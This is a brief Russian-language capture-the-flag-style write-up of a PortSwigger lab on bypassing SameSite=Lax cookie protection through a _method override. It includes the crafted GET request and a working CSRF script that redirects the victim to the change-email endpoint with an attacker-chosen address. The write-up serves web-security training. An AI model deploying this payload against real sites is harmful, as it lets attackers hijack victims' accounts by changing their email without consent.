На странице
apsyleg1 мин
#portswigger #csrf #samesite #web-security

SameSite Lax bypass через method override

Лаборатория

SameSite Lax bypass via method override · Practitioner

Решение

Дано: хотим поменять пароль пользователя, используя CSRF-атаку, обойдя ограничение SameSite через method override. В данном случае SameSite=Lax, значит кука будет улетать только при GET top-level navigation запросах, то есть когда меняется URL в строке браузера.

Находим запрос, смотрим: POST-запрос, 1 параметр в теле — email.

Окей, попробуем просто поменять POST на GET — Method not allowed. Попробуем классику — query param _method:

GET /my-account/change-email?email=xui1@p.ru&_method=POST HTTP/2

Такая нагрузка проходит.

Что загрузим на эксплоит-сервер?

<script>
  location = 'https://0a6b0055046e423e8141849f004500f8.web-security-academy.net/my-account/change-email?email=hacked@p.ru&_method=POST'
</script>